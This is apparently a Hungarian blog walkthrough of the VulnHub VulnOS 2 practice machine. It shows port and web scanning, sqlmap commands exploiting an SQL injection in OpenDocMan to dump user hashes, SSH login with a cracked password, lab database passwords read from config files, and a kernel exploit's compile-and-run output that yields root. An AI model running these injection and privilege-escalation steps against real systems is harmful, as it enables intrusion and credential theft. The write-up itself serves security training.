VulnHub - VulnOS 2
Egy újabb feltörésre váró virtuális szerver jelent meg a napokban kedvenc oldalamon a VulnHub-on c4b3rw0lf jóvoltából.
Mivel egyből nem tudtam neki kezdeni, így nagyon vártam a hétvégét és az új kihívást.
Információ gyűjtés
Sebezhetőség vizsgálatra Kali-t használok fixen beállított IP címmel, a cél gép pedig DHCP-ről kapja. A hálózati szegmens szeparált a lokális hálózattól. Virtualizáció tekintetében mindig KVM-et használok, így a letöltött vm-eket általában konvertálni kell, de ez nem okoz gondot.
Megkerestem a cél gépet.
# netdiscover -i eth0 -r 192.168.10.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 126
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.10.1 fe:54:00:0e:a4:ce 1 42 Unknown vendor
192.168.10.242 52:54:00:34:37:2d 1 42 Unknown vendor
192.168.10.254 52:54:00:0e:a4:ce 1 42 Unknown vendorMegnéztem a nyitott portokat.
# nmap -sS -sV -O 192.168.10.242 -p1-65535
Starting Nmap 7.12 ( https://nmap.org ) at 2016-05-17 19:25 CEST
Nmap scan report for 192.168.10.242 (192.168.10.242)
Host is up (0.00075s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
6667/tcp open irc ngircd
MAC Address: 52:54:00:34:37:2D (QEMU virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.07 secondsEz ismét nem sok, van egy ssh a 22-es, egy Apache webszerver a 80-as és egy ngircd irc szerver a 6667-es porton.
Kíváncsi voltam mit mond a nikto.
# nikto -host http://192.168.10.242/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.10.242
+ Target Hostname: 192.168.10.242
+ Target Port: 80
+ Start Time: 2016-05-17 19:54:46 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x3c9 0x531f36393d540
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2016-05-17 19:54:56 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) testedEzzel sem jutottam beljebb…
Jöhet a dirb, hátha talál valamit nekem.
# dirb http://192.168.10.242
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue May 17 19:56:53 2016
URL_BASE: http://192.168.10.242/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.10.242/ ----
+ http://192.168.10.242/index.html (CODE:200|SIZE:969)
==> DIRECTORY: http://192.168.10.242/javascript/
+ http://192.168.10.242/server-status (CODE:403|SIZE:294)
---- Entering directory: http://192.168.10.242/javascript/ ----
==> DIRECTORY: http://192.168.10.242/javascript/jquery/
...
---- Entering directory: http://192.168.10.242/javascript/jquery/ ----
+ http://192.168.10.242/javascript/jquery/jquery (CODE:200|SIZE:252879)
+ http://192.168.10.242/javascript/jquery/version (CODE:200|SIZE:5)
-----------------
END_TIME: Tue May 17 19:57:01 2016
DOWNLOADED: 13836 - FOUND: 4Akkor jöhet a böngésző.

Ellenőriztem a forrást, de a website linken kívül más nincs.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>VulnOSv2</title>
</head>
<body bgcolor="#000000" text="#FFFFFF" link="#FF0000">
<div align="center">
<h3>##########<strong>############### Welcome to VulnOSv2 #########################
</strong></h3>
<h4> </h4>
<h4>### VulnOS are a series of vulnerable operating systems packed as virtual images to enhance penetration testing skills ###</h4>
<h4>This is a vulnerable server. DO NOT USE this VM in a production environment !</h4>
<h4> </h4>
<p> </p>
<h3> </h3>
<h3> </h3>
<h4>### Pentest the company <a href="/jabc" title="JABC" target="new">website</a> on the server... Get root of the system and read the final flag ###</h4>
</div>
</body>
</html>Erre az almappára is ráengedtem a dirb-t hátha mutat valamit.
# dirb http://192.168.10.242/jabc/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 21 11:44:46 2016
URL_BASE: http://192.168.10.242/jabc/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.10.242/jabc/ ----
==> DIRECTORY: http://192.168.10.242/jabc/includes/
+ http://192.168.10.242/jabc/index.php (CODE:200|SIZE:9525)
==> DIRECTORY: http://192.168.10.242/jabc/misc/
==> DIRECTORY: http://192.168.10.242/jabc/modules/
==> DIRECTORY: http://192.168.10.242/jabc/profiles/
+ http://192.168.10.242/jabc/robots.txt (CODE:200|SIZE:1561)
==> DIRECTORY: http://192.168.10.242/jabc/scripts/
==> DIRECTORY: http://192.168.10.242/jabc/sites/
==> DIRECTORY: http://192.168.10.242/jabc/templates/
==> DIRECTORY: http://192.168.10.242/jabc/themes/
+ http://192.168.10.242/jabc/xmlrpc.php (CODE:200|SIZE:42)
...
...
-----------------
END_TIME: Sat May 21 11:44:49 2016
DOWNLOADED: 4612 - FOUND: 3A robots.txt-be belenézve kiderült, hogy alaposan kigyomlált Drupal rendszerrel van dolgom.
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used: http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html
User-agent: *
Crawl-delay: 10
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/Úgy gondoltam, hogy nem a Drupal felől lesz megközelíthető a rendszer.
Lássuk böngészőből.

Az oldalakat végig nézve, nem találtam érdekességet se a böngészőben, se a forrásban. Az url sávban láttam, hogy a http://192.168.10.242/jabc/?q=node/6 az utolsó
oldal. Vagyis 1-töl 6-ig tart az oldalak száma. Át írtam az url-ben a 6-ost 7-re és kiderült, hogy van még egy oldal, amire nem mutat link a többiről.

Mivel túl üres volt az oldal, így sejthető volt, hogy itt ennél több információ is van. A teljes oldal kijelölése (CTRL+A) és a forrás átnézése után ki is derült,
hogy van egy dokumentációs platform a /jabcd0cs mappában, amibe a guest/guest felhasználó és jelszó párossal be is juthatunk.

A guest felhasználóval belépve többféleképpen próbáltam valahogy egy php webshell-t szerezni, de nem sikerült.
Az OpenDocMan verzió száma alapján (v1.2.7), viszont kiderült, hogy van SQLi (SQL befecskendezés) sebezhetősége, így hát neki eresztettem az sqlmap-ot.
# root@kali:~# sqlmap -u "http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs
_
___ ___| |_____ ___ ___ {1.0.5.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.okrg
---
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadminLátszik a Drupal, az OpenDocMan és egy phpmyadmin adatbázis is. Bár a phpmyadmin mappáját a dirb nem találta meg, így lehet hogy az csak ott maradt és nincs
használva.
# root@kali:~# sqlmap -u "http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-user
_
___ ___| |_____ ___ ___ {1.0.5.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
---
[22:20:31] [INFO] fetching current user
current user: 'root@localhost'Egy gyors ellenőrzés és kiderült hogy az adatbázis user maga a root.
root@kali:~# sqlmap -u "http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --privileges
_
___ ___| |_____ ___ ___ {1.0.5.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
---
database management system users privileges:
[*] 'debian-sys-maint'@'localhost' (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'drupal7'@'localhost' [1]:
privilege: USAGE
[*] 'phpmyadmin'@'localhost' [1]:
privilege: USAGE
[*] 'root'@'127.0.0.1' (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'root'@'::1' (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'root'@'localhost' (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'root'@'vulnosv2' (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATEÉs az is kiderült, hogy bizony neki teljes jogosultsága van, vagyis mindenhez van joga.
Most próbáljuk megkeresni az adatbázisba regisztrált felhasználókat, keresve a user és password adatokat.
# root@pentestlab:~/Hack/Vulnhub_-_VulnOSv2# sqlmap -u "http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs --tables
_
___ ___| |_____ ___ ___ {1.0.5.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
---
Database: jabcd0cs
[15 tables]
+-------------------+
| odm_access_log |
| odm_admin |
| odm_category |
| odm_data |
| odm_department |
| odm_dept_perms |
| odm_dept_reviewer |
| odm_filetypes |
| odm_log |
| odm_odmsys |
| odm_rights |
| odm_settings |
| odm_udf |
| odm_user |
| odm_user_perms |
+-------------------+Itt az odm_user tábla lehet érdekes.
# root@pentestlab:~/Hack/Vulnhub_-_VulnOSv2# sqlmap -u "http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --columns
_
___ ___| |_____ ___ ___ {1.0.5.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
---
Database: jabcd0cs
Table: odm_user
[9 columns]
+---------------+------------------+
| Column | Type |
+---------------+------------------+
| department | int(11) unsigned |
| Email | varchar(50) |
| first_name | varchar(255) |
| id | int(11) unsigned |
| last_name | varchar(255) |
| password | varchar(50) |
| phone | varchar(20) |
| pw_reset_code | char(32) |
| username | varchar(25) |
+---------------+------------------+Ez lesz az, ki is dump-olom.
# root@pentestlab:~/Hack/Vulnhub_-_VulnOSv2# sqlmap -u "http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --dump _
___ ___| |_____ ___ ___ {1.0.5.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
---
[12:16:23] [INFO] postprocessing table dump
Database: jabcd0cs
Table: odm_user
[3 entries]
+----+--------------+--------------------+----------+------------------------------------------+-----------+------------+------------+---------------+
| id | phone | Email | username | password | last_name | first_name | department | pw_reset_code |
+----+--------------+--------------------+----------+------------------------------------------+-----------+------------+------------+---------------+
| 1 | 5555551212 | webmin@example.com | webmin | b78aae356709f8c31118ea613980954b | min | web | 2 | <blank> |
| 2 | 555 5555555 | guest@example.com | guest | 084e0343a0486ff05530df6c705c8bb4 (guest) | guest | guest | 2 | NULL |
| 3 | 999 99999999 | so@sh.com | uname | 0d9a9c25c0007ea340e22f08bb342961 | lname | fname | 1 | NULL |
+----+--------------+--------------------+----------+------------------------------------------+-----------+------------+------------+---------------+A dump felhasználót simán ki hash-elte az sqlmap, de a többihez segítség kell.

Meg is lett a webmin felhasználó jelszava: webmin1980. Mivel a OpenDocMan felületén a guest is admin jogosultságú, így itt nem reméltem a webmin felhasználótól
több lehetőséget.
Viszont megpróbálva a webmin / webmin1980 felhasználó és jelszó párost az ssh-n keresztül sikerült kapnom egy shell-t.
# root@pentestlab:~/Hack/Vulnhub_-_VulnOSv2# ssh webmin@192.168.10.242
The authenticity of host '192.168.10.242 (192.168.10.242)' can't be established.
ECDSA key fingerprint is SHA256:nIyyJRPJMy1g6F5m8AIT7W//x6lj3ZqhUbYuvSafKeI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.10.242' (ECDSA) to the list of known hosts.
webmin@192.168.10.242's password:
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat May 21 11:34:43 CEST 2016
System load: 0.15 Memory usage: 2% Processes: 63
Usage of /: 5.8% of 29.91GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Wed May 4 10:41:07 2016
$ id && whoami
uid=1001(webmin) gid=1001(webmin) groups=1001(webmin)
webminBent vagyok! :)
A burok (The shell)
Ha shell szintű hozzáférést sikerül szerezni egy rendszeren, akkor már majdnem biztos hogy az a rendszer elesett.
Megnézem mi van a saját mappánkban.
# ls -la
total 596
drwxr-x--- 3 webmin webmin 4096 May 3 19:26 .
drwxr-xr-x 4 root root 4096 Apr 16 15:09 ..
-rw------- 1 webmin webmin 85 May 4 10:42 .bash_history
-rw-r--r-- 1 webmin webmin 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 webmin webmin 3637 Apr 9 2014 .bashrc
drwx------ 2 webmin webmin 4096 Apr 30 17:06 .cache
-rw-rw-r-- 1 webmin webmin 579442 Apr 30 15:25 post.tar.gz
-rw-r--r-- 1 webmin webmin 675 Apr 9 2014 .profileÉrdekes. Egy post.tar.gz csomag. Vajon mi lehet benne?
# tar tzfv post.tar.gz
-rw-r--r-- testosuser/testosuser 51806 2014-12-07 15:50 post/hydra-smb.c
-rw-r--r-- testosuser/testosuser 1120 2014-12-07 15:50 post/xhydra.1
-rw-r--r-- testosuser/testosuser 13423 2014-12-07 15:50 post/hydra-smtp.c
...
-rw-r--r-- testosuser/testosuser 8603 2014-12-07 15:50 post/hydra-sip.c
-rw-r--r-- testosuser/testosuser 191330 2014-12-07 15:50 post/hydra.c
-rw-r--r-- testosuser/testosuser 759 2014-12-07 15:50 post/INSTALL
# tar xzf post.tar.gz
# cat README
H Y D R A
(c) 2001-2014 by van Hauser / THC
<vh@thc.org> http://www.thc.org
many modules were written by David (dot) Maciejak @ gmail (dot) com
BFG code by Jan Dlabal <dlabaljan@gmail.com>
Licensed under AGPLv3 (see LICENSE file)
Please do not use in military or secret service organizations,
or for illegal purposes.
...Ez egy Hydra :) Lehet hogy majd szükség lesz rá? Egyenlőre kutatok tovább…
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
...
vulnosadmin:x:1000:1000:vulnosadmin,,,:/home/vulnosadmin:/bin/bash
...
postgres:x:107:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bashAmi érdekesnek tűnt, hogy az irc mellett van még egy vulnosadmin és egy postgres felhasználó is.
Szét nézek az etc mappában a futó szolgáltatások és a feltelepített alkalmazások konfigurációs fájljai után kutatva.
# cd /etc
# ls -la
total 876
drwxr-xr-x 102 root root 4096 May 21 11:34 .
drwxr-xr-x 21 root root 4096 Apr 3 18:06 ..
drwxr-xr-x 3 root root 4096 Apr 3 18:12 acpi
-rw-r--r-- 1 root root 2981 Apr 16 2014 adduser.conf
-rw-r--r-- 1 root root 51 Apr 16 15:10 aliases
...
drwxr-xr-x 3 root root 4096 Apr 16 15:10 drupal
...
drwxr-xr-x 4 root root 4096 Apr 3 18:05 X11
drwxr-xr-x 2 root root 4096 Apr 3 18:12 xml
-rw-r--r-- 1 root root 349 Jun 26 2012 zsh_command_not_foundMeg is van a Drupal mappája. Szétnézek benne.
# cd drupal
# ls -la
total 12
drwxr-xr-x 3 root root 4096 Apr 16 15:10 .
drwxr-xr-x 102 root root 4096 May 21 11:34 ..
drwxr-xr-x 3 root root 4096 Apr 16 15:10 7
# cd 7
# ls -la
total 24
drwxr-xr-x 3 root root 4096 Apr 16 15:10 .
drwxr-xr-x 3 root root 4096 Apr 16 15:10 ..
-rw-r--r-- 1 root root 158 Jan 15 2014 apache2.conf
-rw-r--r-- 1 root root 5767 Oct 16 2014 htaccess
drwxrwxrwx 4 root root 4096 Apr 16 15:22 sites
# cd sites
# ls -la
total 16
drwxrwxrwx 4 root root 4096 Apr 16 15:22 .
drwxr-xr-x 3 root root 4096 Apr 16 15:10 ..
dr-xr-xr-x 4 www-data www-data 4096 Apr 16 15:23 all
dr-xr-xr-x 2 www-data root 4096 Apr 16 15:11 default
# cd default
# ls -la
total 32
dr-xr-xr-x 2 www-data root 4096 Apr 16 15:11 .
drwxrwxrwx 4 root root 4096 Apr 16 15:22 ..
-rwxrwxrwx 1 root www-data 576 Apr 16 15:11 dbconfig.php
lrwxrwxrwx 1 root root 22 Oct 16 2014 files -> /var/lib/drupal7/files
-rwxrwxrwx 1 root root 18599 Jan 15 2014 settings.php… a konfigurációs fájlok olvashatóak!
# cat dbconfig.php
<?php
#
# database access settings in php format
# automatically generated from /etc/dbconfig-common/drupal7.conf
# by /usr/sbin/dbconfig-generate-include
#
# by default this file is managed via ucf, so you shouldn't have to
# worry about manual changes being silently discarded. *however*,
# you'll probably also want to edit the configuration file mentioned
# above too.
$databases['default']['default'] = array(
'driver' => 'mysql',
'database' => 'drupal7',
'username' => 'drupal7',
'password' => 'toor',
'host' => 'localhost',
'port' => '',
'prefix' => ''
);
?>Itt is van a Drupal mysql adatbázis neve (drupal7), felhasználója (drupal7) és mysql jelszava (toor).
Persze azért le is ellenőrzöm.
# mysql -u drupal7 -p drupal7
Enter password: toor
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1082
Server version: 5.5.47-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> quit;
ByeSzép! :)
De ne feledkezzek meg magáról a rendszerről sem.
# cat /etc/issue
### Welcome to VulnOSv2 ###
# cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.4 LTS"
# uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/LinuxVajon van a 3.13.0-24-es kernelhez exploit, ami közelebb vinne a root jogosultsághoz?

Találtam is a kernel-exploits oldalán exploit-ot hozzá.
A forrását be is másoltam egy nano-val nyitott fájlba, lefordítottam és lefuttatva már meg is van a root jogosultság! :)
# nano exploit.c
webmin@VulnOSv2:~$ gcc exploit.c -o exploit
# ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(webmin)És mi van a root home mappájában… ?
# cd /root
# ls -la
total 36
drwx------ 3 root root 4096 May 4 19:37 .
drwxr-xr-x 21 root root 4096 Apr 3 18:06 ..
-rw------- 1 root root 52 May 21 14:05 .bash_history
-rw-r--r-- 1 root root 3106 Feb 20 2014 .bashrc
drwx------ 2 root root 4096 May 2 18:55 .cache
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 3 May 2 19:01 .psql_history
-rw------- 1 root root 735 May 4 19:06 .viminfo
-rw-r--r-- 1 root root 165 May 4 19:06 flag.txtItt a hőn vágyott flag.txt. A tartalma pedig… :)
# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?Tulajdonképpen ennyi volt. A zászló meg van, miénk a vár! De azért engem még érdekelne az a bizonyos vulnosadmin felhasználó :)
Ugyan mit rejtegethet a mappája…
# cd /home/vulnosadmin
# ls -la
total 476
drwxr-x--- 3 vulnosadmin vulnosadmin 4096 May 4 19:35 .
drwxr-xr-x 4 root root 4096 Apr 16 15:09 ..
-rw------- 1 vulnosadmin vulnosadmin 4817 May 4 19:36 .bash_history
-rw-r--r-- 1 vulnosadmin vulnosadmin 220 Apr 3 18:14 .bash_logout
-rw-r--r-- 1 vulnosadmin vulnosadmin 3637 Apr 3 18:14 .bashrc
drwx------ 2 vulnosadmin vulnosadmin 4096 Apr 3 18:17 .cache
-rw-r--r-- 1 vulnosadmin vulnosadmin 675 Apr 3 18:14 .profile
-rw------- 1 root root 1504 May 2 18:51 .viminfo
-rw-rw-r-- 1 vulnosadmin vulnosadmin 449100 May 4 18:41 r00t.blendVan itt egy szép kövér .bash_history, amiben végig nézhetem a készítés menetét… vagy legalábbis egy részét, a shell parancsokat :)
# less .bash_history
WARNING: terminal is not fully functional
sudo apt-get updatess RETURN)
sudo apt-get upgrade
sudo reboot
...És van itt még egy r00t.blend bináris, amit nem próbálok ki, mert bizalmatlan vagyok :)
# file r00t.blend
r00t.blend: Blender3D, saved as 32-bits little endian with version 2.77És vajon miért van a rendszeren postgres felhasználó?
# su postgres
# psql
psql (9.3.11)
Type "help" for help.
postgres=# \du
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------+-----------
postgres | Superuser, Create role, Create DB, Replication | {}
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
system | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =CTc/postgres +
| | | | | postgres=CTc/postgres
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)Végig nyálaztam mindent, de végül nem találtam ki, hogy mi a szerepe :)
Egy utolsó pillantás a phpmyqdmin konfigurációs fájljára…
# cat /etc/dbconfig-common/phpmyadmin.conf | egrep -v ^# | egrep -v ^$
dbc_install='true'
dbc_upgrade='true'
dbc_remove=''
dbc_dbtype='mysql'
dbc_dbuser='phpmyadmin'
dbc_dbpass='toor'
dbc_dbserver=''
dbc_dbport=''
dbc_dbname='phpmyadmin'
dbc_dbadmin='root'
dbc_basepath=''
dbc_ssl=''
dbc_authmethod_admin=''
dbc_authmethod_user=''A phpmyadmin mysql felhaszálója phpmyadmin és a jelszava neki is toor. Mivel gyanús az egyezés a Drupal mysql felhasználó jelszavával, így megpróbálom
hogy hátha ugyanaz a mysql root jelszava is.
# mysql -u root -p
Enter password: toor
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1085
Server version: 5.5.47-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| drupal7 |
| jabcd0cs |
| mysql |
| performance_schema |
| phpmyadmin |
+--------------------+
6 rows in set (0.03 sec)
mysql> exit
ByeÉs ugyanaz! :)
Remek móka volt! Köszönöm c4b3rw0lf!!! Thanks c4b3rw0lf !!!
Ismét remekül szórakoztam… :)